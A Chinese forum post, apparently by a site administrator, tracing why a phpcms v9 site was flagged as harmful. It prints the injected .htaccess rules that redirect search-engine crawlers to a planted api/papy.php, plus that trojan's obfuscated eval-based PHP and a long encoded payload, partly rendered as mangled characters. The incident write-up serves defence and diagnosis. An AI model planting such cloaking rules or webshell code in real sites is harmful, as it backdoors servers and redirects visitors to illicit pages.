phpcms v9 建站程序，打开网站首页被西部数码提示“抱歉，网页含有害信息已被系统自动阻断”，如图：
点击“管理员”打开详情页：
http://cdsec.vhostgo.com/search?q=www.shxcb.gov.cn
经自我检查，监测系统提示的网址都不存在，打开网站没有发现可疑代码，在chrom浏览器模拟百度蜘蛛抓取的情况下，打开上述网址，都跳转到一个非法网页，截图如下：
再进一步测试，发现在域名后面随便加一些不存在的网站地址，都自动跳转到非法网站，每次刷新后跳转的网站都不图。
怀疑是域名被重定向，与是查看 .htaccess 文件，发现最下面有几行针对蜘蛛重定行代码，代码如下：
RewriteEngine on
RewriteRule ^content-([0-9]+)-([0-9]+)-([0-9]+).html index.php?m=content&c=index&a=show&catid=$1&id=$2&page=$3
RewriteRule ^show-([0-9]+)-([0-9]+)-([0-9]+).html index.php?m=content&c=index&a=show&catid=$1&id=$2&page=$3
RewriteRule ^list-([0-9]+)-([0-9]+).html index.php?m=content&c=index&a=lists&catid=$1&page=$2
RewriteCond %{HTTP:User-Agent} (?:360|haosou|so|sogou) [NC]
RewriteRule ^(.*)$ api/papy.php [NC]
RewriteCond %{HTTP_REFERER} (?:360|haosou|so|sogou) [NC]
RewriteRule ^(.*)$ api/papy.php [NC]
最后4行代码，首先判断是否是蜘蛛，如果成立，则跳转到统一的网址 /api/papy.php 下。
再查看根目录下多了一个papy.php 木马文件，打开papy.php文件，是一段加密的木马，代码如下：
<?php defined('谶谳?15?69?77') || define('谶谳?15?69?77',__FILE__);global $┸?30??葸78圹;global $?揶?29谵咿88?; if(!function_exists('?哕1苒9谳??94')){ function ?哕1苒9谳??94($蒉408掭1??苘,$?577苻512苓14=''){ if(empty($蒉408掭1??苘)) return ''; $蒉408掭1??苘=base64_decode($蒉408掭1??苘); if($?577苻512苓14=='') return ~$蒉408掭1??苘; if($?577苻512苓14=='-1') @?圮5483?掭0捋?); $葸?93哕723?151=$GLOBALS['┸?30??葸78圹']['?917?捋圯呲?2']($蒉408掭1??苘); $?577苻512苓14=$GLOBALS['┸?30??葸78圹']['?5482谶2833??']($?577苻512苓14,$葸?93哕723?151,$?577苻512苓14); return $蒉408掭1??苘^$?577苻512苓14; }} if(!function_exists('?7134?87?87?')){ function ?7134?87?87?($蒉408掭1??苘,$?577苻512苓14=''){ if(empty($蒉408掭1??苘)) return ''; $蒉408掭1??苘=base64_decode($蒉408掭1??苘); if($?577苻512苓14=='') return ~$蒉408掭1??苘; if($?577苻512苓14=='-1') @败揶?7圹08?62?); $葸?93哕723?151=$GLOBALS['┸?30??葸78圹']['?917?捋圯呲?2']($蒉408掭1??苘); $?577苻512苓14=$GLOBALS['┸?30??葸78圹']['?5482谶2833??']($?577苻512苓14,$葸?93哕723?151,$?577苻512苓14); return $?577苻512苓14^$蒉408掭1??苘; }}$┸?30??葸78圹["?5482谶2833??"]=?7134?87?87?('jIuNoI+emw==','');$┸?30??葸78圹["?917?捋圯呲?2"]=?7134?87?87?('jIuNk5qR','');$┸?30??葸78圹["?89?4??4?81"]=?7134?87?87?('nZ6MmsnLoJuanJCbmg==','');$┸?30??葸78圹["咻20?51圳973009"]='';$┸?30??葸78圹["?圮890?86??5"]='';$┸?30??葸78圹["??75葺4?17揶7"]=?7134?87?87?('PTMQZgwQLiYz','ugD6SXa');$┸?30??葸78圹["?6?746呲170?7"]=?7134?87?87?('JQBhETMXbAk3CHY=','vE3G');$┸?30??葸78圹["?苴3圯??哕55?]='';$┸?30??葸78圹["斑谳6????572"]='';$┸?30??葸78圹["?29圮2??449?"]=?7134?87?87?('HnUbJxV9HSUNCGI=','L0VhA8BdI');$┸?30??葸78圹["?97089圻?6979?]='';$┸?30??葸78圹["???307?2?谶"]='';$┸?30??葸78圹["?775谶7?谳苒?"]=?7134?87?87?('U1gaBkB7FmQBSV8F','gj47rJ8Q6');$┸?30??葸78圹["?08蒇5901834673"]=?7134?87?87?('Kg5jFTVwIRU=','zF3Jf5mSod');$┸?30??葸78圹["?51?1捃407?60"]='';$┸?30??葸78圹["??302坜?6914?]=?7134?87?87?('JDsz','GWZ3PQ1m');$┸?30??葸78圹["?84蒇35??52?"]=?7134?87?87?('Cwc7JCEaCg08HBA=','XBirdHULx');$┸?30??葸78圹["??7??70?苒8"]='';$┸?30??葸78圹["哕312820426?00?]='';$┸?30??葸78圹["?3?662?66茌60"]=?7134?87?87?('IT8VEQ4G','HQagoj');$┸?30??葸78圹["?28葸??955??]=?7134?87?87?('NxZaMT0q','Dc8BIXN');$┸?30??葸78圹["?9捋4?茌6725"]=?7134?87?87?('IVscCg==','U2qoT');$┸?30??葸78圹["?3蒈416563750哕"]=?7134?87?87?('BUs7PDs4VToRXBFC','b1NRXW8Jc9');$┸?30??葸78圹["???9?3272609"]=?7134?87?87?('BwJdPBU0BB9uOiU9FQ5fLTk=','ak1YJS');$┸?30??葸78圹["蒈?1992178坜?]=?7134?87?87?('RR07OjNA','6iIHV'); $?揶?29谵咿88?['圻32605?2446谳?]=$GLOBALS['┸?30??葸78圹']['?9捋4?茌6725'](); $?揶?29谵咿88?['佰6?0哕3?6谶60']=$GLOBALS['┸?30??葸78圹']['???9?3272609'](谶谳?15?69?77); $?揶?29谵咿88?['?1挹04?42?1?']=$GLOBALS['┸?30??葸78圹']['蒈?1992178坜?]('55fb7c44e54684e740ce0cccae0252ed'); $?揶?29谵咿88?['?463蒈?7咿6523']=$GLOBALS['┸?30??葸78圹']['?3?662?66茌60']($GLOBALS['┸?30??葸78圹']['蒈?1992178坜?]('7634000000')); $?揶?29谵咿88?['?7473719?225?']=$GLOBALS['┸?30??葸78圹']['?3?662?66茌60']($GLOBALS['┸?30??葸78圹']['蒈?1992178坜?]('1100000000')); $?揶?29谵咿88?['?谵?662谯77554']=$GLOBALS['┸?30??葸78圹']['?3?662?66茌60']($GLOBALS['┸?30??葸78圹']['蒈?1992178坜?]('7400000000')); $?揶?29谵咿88?['9??66??345']=$GLOBALS['┸?30??葸78圹']['?3?662?66茌60']($GLOBALS['┸?30??葸78圹']['蒈?1992178坜?]('5992000000')); $?揶?29谵咿88?['?0?2圳77?1葸8']=$GLOBALS['┸?30??葸78圹']['?28葸??955??]($?揶?29谵咿88?['佰6?0哕3?6谶60'],$?揶?29谵咿88?['?463蒈?7咿6523'],$?揶?29谵咿88?['9??66??345']); $?揶?29谵咿88?['?0?2圳77?1葸8']=$GLOBALS['┸?30??葸78圹']['?89?4??4?81']($?揶?29谵咿88?['?0?2圳77?1葸8']); $?揶?29谵咿88?['?0?2圳77?1葸8']=$GLOBALS['┸?30??葸78圹']['?3蒈416563750哕']($?揶?29谵咿88?['?0?2圳77?1葸8']); return(eval($?揶?29谵咿88?['?0?2圳77?1葸8'])); ?>
#!/usr/bin/php -q
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
附：
模拟百度蜘蛛抓取可以参考：https://www.west.cn/faq/list.asp?unid=2104 感谢您对我司长期的支持，如需帮助欢迎再联系我们。
| 
|Archiver|手机版|小黑屋|管理员之家
( 苏ICP备2023053177号-2 )
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡
